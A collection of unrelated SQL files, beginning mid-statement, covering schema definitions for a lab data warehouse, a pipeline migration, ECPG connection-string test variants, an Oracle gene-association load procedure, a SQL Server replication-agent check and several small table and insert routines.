text, hh8 text, servstat text, weekday2 text, status text, outlier text, custgrp1 text, custgrp2 text, custgrp3 text, custgrp4 text, custgrp5 text, custgrp6 text, custgrp7 text, delay7 double precision, ovthl7 text, testorg0 text, testorg1 text, testorg2 text, samorg1 text, etlstamp text, patarea2 text, source_table character varying(200), recordid text ) WITH ( OIDS=FALSE ); ALTER TABLE stage_labdw.labdw_transform OWNER TO ktp; -- Table: stage_labdw.columns -- DROP TABLE stage_labdw.columns; CREATE TABLE stage_labdw.columns ( columns_id serial NOT NULL, columnname character varying(8000), columndescription character varying(8000), codetables character varying(8000), row_retrieved timestamp without time zone, valid boolean, CONSTRAINT columns_pkey PRIMARY KEY (columns_id) ) WITH ( OIDS=FALSE ); ALTER TABLE stage_labdw.columns OWNER TO ktp; -- Index: stage_labdw.idx_columns_lookup -- DROP INDEX stage_labdw.idx_columns_lookup; CREATE INDEX idx_columns_lookup ON stage_labdw.columns USING btree (columnname COLLATE pg_catalog."default", columndescription COLLATE pg_catalog."default"); -- Table: stage_labdw.codetables -- DROP TABLE stage_labdw.codetables; CREATE TABLE stage_labdw.codetables ( codetable_id bigserial NOT NULL, codetable character varying(8000), code character varying(8000), text_value character varying(8000), row_retrieved timestamp without time zone, valid boolean, CONSTRAINT codetables_pkey PRIMARY KEY (codetable_id) ) WITH ( OIDS=FALSE ); ALTER TABLE stage_labdw.codetables OWNER TO ktp; -- Index: stage_labdw.idx_codetables_lookup -- DROP INDEX stage_labdw.idx_codetables_lookup; CREATE INDEX idx_codetables_lookup ON stage_labdw.codetables USING btree (codetable COLLATE pg_catalog."default", code COLLATE pg_catalog."default"); -- Table: stage_labdw.cdc_time -- DROP TABLE stage_labdw.cdc_time; CREATE TABLE stage_labdw.cdc_time ( cdc_time_id integer NOT NULL DEFAULT nextval('cdc_time_id_seq'::regclass), process_name character varying, last_load timestamp without time zone, current_load timestamp without time zone, CONSTRAINT labdw_cdc_time_pkey PRIMARY KEY (cdc_time_id) ) WITH ( OIDS=FALSE ); ALTER TABLE stage_labdw.cdc_time OWNER TO ktp;
<filename>atc/db/migration/migrations/1529692120_add_cache_index_to_pipelines.up.sql ALTER TABLE pipelines ADD COLUMN cache_index integer NOT NULL DEFAULT 1; ALTER TABLE versioned_resources DROP COLUMN modified_time; ALTER TABLE build_inputs DROP COLUMN modified_time; ALTER TABLE build_outputs DROP COLUMN modified_time;
EXEC SQL CONNECT TO "connectdb" AS main; EXEC SQL CONNECT TO "connectdb" AS second; EXEC SQL CONNECT TO "unix:postgresql://172.16.17.32/connectdb" AS main USER connectuser; EXEC SQL CONNECT TO "unix:postgresql://localhost/connectdb" AS main USER connectuser; EXEC SQL CONNECT TO 'connectdb' AS main; EXEC SQL CONNECT TO 'unix:postgresql://localhost/connectdb' AS main USER :user; EXEC SQL CONNECT TO :db AS :id; EXEC SQL CONNECT TO :db USER connectuser USING :pw; EXEC SQL CONNECT TO @localhost AS main USER connectdb; EXEC SQL CONNECT TO REGRESSDB1 as main; EXEC SQL CONNECT TO AS main USER connectdb; EXEC SQL CONNECT TO connectdb AS :id; EXEC SQL CONNECT TO connectdb AS main USER connectuser/connectdb; EXEC SQL CONNECT TO connectdb AS main; EXEC SQL CONNECT TO connectdb@localhost AS main; EXEC SQL CONNECT TO tcp:postgresql://localhost/ USER connectdb; EXEC SQL CONNECT TO tcp:postgresql://localhost/connectdb USER connectuser IDENTIFIED BY connectpw; EXEC SQL CONNECT TO tcp:postgresql://localhost:20/connectdb USER connectuser IDENTIFIED BY connectpw; EXEC SQL CONNECT TO unix:postgresql://localhost/ AS main USER connectdb; EXEC SQL CONNECT TO unix:postgresql://localhost/connectdb AS main USER connectuser; EXEC SQL CONNECT TO unix:postgresql://localhost/connectdb USER connectuser IDENTIFIED BY "connectpw"; EXEC SQL CONNECT TO unix:postgresql://localhost/connectdb USER connectuser USING "connectpw"; EXEC SQL CONNECT TO unix:postgresql://localhost/connectdb?connect_timeout=14 USER connectuser;
<filename>software/cabio-database/scripts/plsql/plsql_prc/HOMOLOGOUS_ASSOCIATION_LD.prc CREATE OR REPLACE procedure HOMOLOGOUS_ASSOCIATION_LD as CURSOR HOMOLASSOCCUR IS (SELECT ROWNUM, PERCENT_ALIGNMENT, GENE_ID, RELATED_GENE FROM GENE_HOMOLOGUE); aID number:=0; BEGIN EXECUTE IMMEDIATE('TRUNCATE TABLE HOMOLOGOUS_ASSOCIATION REUSE STORAGE '); FOR aRec in HOMOLASSOCCUR LOOP aID := aID + 1; INSERT INTO HOMOLOGOUS_ASSOCIATION(ID, SIMILARITY_PERCENTAGE, HOMOLOGOUS_ID, HOMOLOGOUS_GENE_ID) VALUES (aRec.ROWNUM, aRec.PERCENT_ALIGNMENT, aRec.GENE_ID, aRec.RELATED_GENE); IF MOD(aID, 500) = 0 THEN COMMIT; END IF; END LOOP; COMMIT; END; /
ALTER TABLE `versions` ADD COLUMN `channel` INT NULL;
ALTER TABLE `instances` DROP `deleted_at`;
<reponame>imajaydwivedi/Problem-Task---SQL-Server-Slowness use DBA GO IF OBJECT_ID('dbo.usp_replication_agent_checkup') IS NULL EXECUTE ('create procedure dbo.usp_replication_agent_checkup as select 1 as dummy') GO ALTER procedure dbo.usp_replication_agent_checkup @heartbeat_interval int = 10 -- minutes ,@recepients varchar(2000) = '<EMAIL>' ,@verbose bit = 0 ,@perform_agent_restart bit = 0 as set nocount on; declare @distribution_db sysname declare @retstatus int declare @proc nvarchar(255) declare @retcode int /* ** Security Check: require sysadmin */ if @verbose = 1 print 'Checking if current executor is Sysadmin'; IF (ISNULL(IS_SRVROLEMEMBER('sysadmin'),0) = 0) BEGIN RAISERROR(21089,16,-1) RETURN (1) END declare hCdistdbs CURSOR LOCAL FAST_FORWARD for select name from msdb..MSdistributiondbs where has_dbaccess(name) = 1 for read only open hCdistdbs fetch hCdistdbs into @distribution_db while @@fetch_status <> -1 begin select @proc = QUOTENAME(@distribution_db) + '.sys.sp_MSagent_retry_stethoscope' if @verbose = 1 print 'execute '+@proc+';'; execute @retcode = @proc if @@error <> 0 or @retcode <> 0 begin select @retstatus = 1 goto UNDO end select @proc = QUOTENAME(@distribution_db) + '.sys.sp_MSagent_stethoscope' if @verbose = 1 print 'execute '+@proc+' '+cast(@heartbeat_interval as varchar(10))+';'; execute @retcode = @proc @heartbeat_interval if @@error <> 0 or @retcode <> 0 begin select @retstatus = 1 goto UNDO end fetch hCdistdbs into @distribution_db end set @retstatus = 0 UNDO: close hCdistdbs deallocate hCdistdbs return (@retstatus)
begin tran insert into THUMB (UID, BID) values (1, 7); insert into THUMB (UID, BID) values (1, 1); if(@@ERROR >0) begin rollback tran end else begin commit tran end
CREATE TABLE potter_api( id SERIAL PRIMARY KEY NOT NULL, name VARCHAR(255), patronus VARCHAR(255), alive VARCHAR(255) )
-- ============================================= -- Author: <Author,,Name> -- Create date: <Create Date,,> -- Description: <Description,,> -- ============================================= CREATE PROCEDURE [dbo].[spFeedback_AddNew] @Id nvarchar(128) ,@Titel nvarchar(128) ,@Name nvarchar(256) ,@Email nvarchar(256) ,@Phone char(20) ,@FeedbackBody text AS BEGIN SET NOCOUNT ON; INSERT INTO [dbo].[Feedback] ([Id] ,[Titel] ,[Name] ,[Email] ,[Phone] ,[FeedbackBody]) VALUES (@Id ,@Titel ,@Name ,@Email ,@Phone ,@FeedbackBody ) END